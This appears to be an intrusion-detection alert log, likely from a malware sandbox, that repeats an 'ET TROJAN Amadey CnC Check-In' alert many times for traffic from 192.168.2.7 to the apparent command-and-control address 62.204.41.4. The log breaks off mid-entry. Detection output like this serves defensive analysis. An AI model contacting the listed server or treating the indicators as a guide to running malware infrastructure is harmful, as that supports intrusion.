Timestamp:	192.168.2.762.204.41.449998802027700 02/07/23-23:08:24.116921
SID:	2027700
Source Port:	49998
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450138802027700 02/07/23-23:09:00.761131
SID:	2027700
Source Port:	50138
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450204802027700 02/07/23-23:09:19.062253
SID:	2027700
Source Port:	50204
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449839802027700 02/07/23-23:07:39.819277
SID:	2027700
Source Port:	49839
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449928802027700 02/07/23-23:08:04.507544
SID:	2027700
Source Port:	49928
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450405802027700 02/07/23-23:10:10.475956
SID:	2027700
Source Port:	50405
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449715802027700 02/07/23-23:07:06.670721
SID:	2027700
Source Port:	49715
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450306802027700 02/07/23-23:09:46.316046
SID:	2027700
Source Port:	50306
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449791802027700 02/07/23-23:07:26.598224
SID:	2027700
Source Port:	49791
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450220802027700 02/07/23-23:09:22.982035
SID:	2027700
Source Port:	50220
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450223802027700 02/07/23-23:09:23.700905
SID:	2027700
Source Port:	50223
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450477802027700 02/07/23-23:10:29.999028
SID:	2027700
Source Port:	50477
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450125802027700 02/07/23-23:08:57.600771
SID:	2027700
Source Port:	50125
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450217802027700 02/07/23-23:09:22.244329
SID:	2027700
Source Port:	50217
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450036802027700 02/07/23-23:08:33.388754
SID:	2027700
Source Port:	50036
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450134802027700 02/07/23-23:08:59.789777
SID:	2027700
Source Port:	50134
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450388802027700 02/07/23-23:10:06.372796
SID:	2027700
Source Port:	50388
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450391802027700 02/07/23-23:10:07.091832
SID:	2027700
Source Port:	50391
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450474802027700 02/07/23-23:10:29.268969
SID:	2027700
Source Port:	50474
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450181802027700 02/07/23-23:09:13.403025
SID:	2027700
Source Port:	50181
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450408802027700 02/07/23-23:10:11.262817
SID:	2027700
Source Port:	50408
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449925802027700 02/07/23-23:08:03.782317
SID:	2027700
Source Port:	49925
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450092802027700 02/07/23-23:08:49.011979
SID:	2027700
Source Port:	50092
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450319802027700 02/07/23-23:09:49.495652
SID:	2027700
Source Port:	50319
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449801802027700 02/07/23-23:07:28.990558
SID:	2027700
Source Port:	49801
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450461802027700 02/07/23-23:10:26.066420
SID:	2027700
Source Port:	50461
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449972802027700 02/07/23-23:08:16.388087
SID:	2027700
Source Port:	49972
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450236802027700 02/07/23-23:09:27.474416
SID:	2027700
Source Port:	50236
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450023802027700 02/07/23-23:08:30.249609
SID:	2027700
Source Port:	50023
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450147802027700 02/07/23-23:09:03.026189
SID:	2027700
Source Port:	50147
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449883802027700 02/07/23-23:07:50.617719
SID:	2027700
Source Port:	49883
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450421802027700 02/07/23-23:10:14.406004
SID:	2027700
Source Port:	50421
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449863802027700 02/07/23-23:07:45.653673
SID:	2027700
Source Port:	49863
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450286802027700 02/07/23-23:09:41.402786
SID:	2027700
Source Port:	50286
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450029802027700 02/07/23-23:08:31.679572
SID:	2027700
Source Port:	50029
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449820802027700 02/07/23-23:07:33.547735
SID:	2027700
Source Port:	49820
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449958802027700 02/07/23-23:08:11.883807
SID:	2027700
Source Port:	49958
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450102802027700 02/07/23-23:08:51.747853
SID:	2027700
Source Port:	50102
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449817802027700 02/07/23-23:07:32.798708
SID:	2027700
Source Port:	49817
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450243802027700 02/07/23-23:09:30.844574
SID:	2027700
Source Port:	50243
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450338802027700 02/07/23-23:09:54.241583
SID:	2027700
Source Port:	50338
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450065802027700 02/07/23-23:08:42.321938
SID:	2027700
Source Port:	50065
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450411802027700 02/07/23-23:10:11.977609
SID:	2027700
Source Port:	50411
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450019802027700 02/07/23-23:08:29.231063
SID:	2027700
Source Port:	50019
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450464802027700 02/07/23-23:10:26.781066
SID:	2027700
Source Port:	50464
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449886802027700 02/07/23-23:07:51.330001
SID:	2027700
Source Port:	49886
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450055802027700 02/07/23-23:08:39.857527
SID:	2027700
Source Port:	50055
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450233802027700 02/07/23-23:09:26.208391
SID:	2027700
Source Port:	50233
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449935802027700 02/07/23-23:08:06.241910
SID:	2027700
Source Port:	49935
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450171802027700 02/07/23-23:09:10.958890
SID:	2027700
Source Port:	50171
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450441802027700 02/07/23-23:10:21.186453
SID:	2027700
Source Port:	50441
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450085802027700 02/07/23-23:08:47.307738
SID:	2027700
Source Port:	50085
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449843802027700 02/07/23-23:07:40.769584
SID:	2027700
Source Port:	49843
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450263802027700 02/07/23-23:09:35.762539
SID:	2027700
Source Port:	50263
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449757802027700 02/07/23-23:07:16.570116
SID:	2027700
Source Port:	49757
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449876802027700 02/07/23-23:07:48.864985
SID:	2027700
Source Port:	49876
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449873802027700 02/07/23-23:07:48.143493
SID:	2027700
Source Port:	49873
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449702802027700 02/07/23-23:07:03.497685
SID:	2027700
Source Port:	49702
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449948802027700 02/07/23-23:08:09.418495
SID:	2027700
Source Port:	49948
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449698802027700 02/07/23-23:07:02.520211
SID:	2027700
Source Port:	49698
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450098802027700 02/07/23-23:08:50.686542
SID:	2027700
Source Port:	50098
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449830802027700 02/07/23-23:07:35.970669
SID:	2027700
Source Port:	49830
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450016802027700 02/07/23-23:08:28.501580
SID:	2027700
Source Port:	50016
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450454802027700 02/07/23-23:10:24.351476
SID:	2027700
Source Port:	50454
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450207802027700 02/07/23-23:09:19.807802
SID:	2027700
Source Port:	50207
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450276802027700 02/07/23-23:09:38.947586
SID:	2027700
Source Port:	50276
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450467802027700 02/07/23-23:10:27.519527
SID:	2027700
Source Port:	50467
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450230802027700 02/07/23-23:09:25.448061
SID:	2027700
Source Port:	50230
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449807802027700 02/07/23-23:07:30.407498
SID:	2027700
Source Port:	49807
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449978802027700 02/07/23-23:08:19.152480
SID:	2027700
Source Port:	49978
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450052802027700 02/07/23-23:08:39.150060
SID:	2027700
Source Port:	50052
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450348802027700 02/07/23-23:09:56.686065
SID:	2027700
Source Port:	50348
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449866802027700 02/07/23-23:07:46.384765
SID:	2027700
Source Port:	49866
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449860802027700 02/07/23-23:07:44.917311
SID:	2027700
Source Port:	49860
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449777802027700 02/07/23-23:07:23.237313
SID:	2027700
Source Port:	49777
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449955802027700 02/07/23-23:08:11.133835
SID:	2027700
Source Port:	49955
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450240802027700 02/07/23-23:09:30.031560
SID:	2027700
Source Port:	50240
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450151802027700 02/07/23-23:09:04.039199
SID:	2027700
Source Port:	50151
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450062802027700 02/07/23-23:08:41.588091
SID:	2027700
Source Port:	50062
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449850802027700 02/07/23-23:07:42.466685
SID:	2027700
Source Port:	49850
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450279802027700 02/07/23-23:09:39.671696
SID:	2027700
Source Port:	50279
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449945802027700 02/07/23-23:08:08.700275
SID:	2027700
Source Port:	49945
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450434802027700 02/07/23-23:10:19.489029
SID:	2027700
Source Port:	50434
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450345802027700 02/07/23-23:09:55.938392
SID:	2027700
Source Port:	50345
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449767802027700 02/07/23-23:07:19.936780
SID:	2027700
Source Port:	49767
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450368802027700 02/07/23-23:10:01.561612
SID:	2027700
Source Port:	50368
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450250802027700 02/07/23-23:09:32.516213
SID:	2027700
Source Port:	50250
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450457802027700 02/07/23-23:10:25.069012
SID:	2027700
Source Port:	50457
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449856802027700 02/07/23-23:07:43.927943
SID:	2027700
Source Port:	49856
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450161802027700 02/07/23-23:09:06.445124
SID:	2027700
Source Port:	50161
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450072802027700 02/07/23-23:08:44.049738
SID:	2027700
Source Port:	50072
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450167802027700 02/07/23-23:09:08.918959
SID:	2027700
Source Port:	50167
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450256802027700 02/07/23-23:09:34.024543
SID:	2027700
Source Port:	50256
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450078802027700 02/07/23-23:08:45.546416
SID:	2027700
Source Port:	50078
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450266802027700 02/07/23-23:09:36.481027
SID:	2027700
Source Port:	50266
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450355802027700 02/07/23-23:09:58.376240
SID:	2027700
Source Port:	50355
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450269802027700 02/07/23-23:09:37.221380
SID:	2027700
Source Port:	50269
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450006802027700 02/07/23-23:08:26.061962
SID:	2027700
Source Port:	50006
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450358802027700 02/07/23-23:09:59.107326
SID:	2027700
Source Port:	50358
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450447802027700 02/07/23-23:10:22.643400
SID:	2027700
Source Port:	50447
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449840802027700 02/07/23-23:07:40.053784
SID:	2027700
Source Port:	49840
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450177802027700 02/07/23-23:09:12.432080
SID:	2027700
Source Port:	50177
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449751802027700 02/07/23-23:07:15.127198
SID:	2027700
Source Port:	49751
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450444802027700 02/07/23-23:10:21.912071
SID:	2027700
Source Port:	50444
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449708802027700 02/07/23-23:07:04.970651
SID:	2027700
Source Port:	49708
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450088802027700 02/07/23-23:08:48.057973
SID:	2027700
Source Port:	50088
Destination Port:	80
Protocol:	TCP
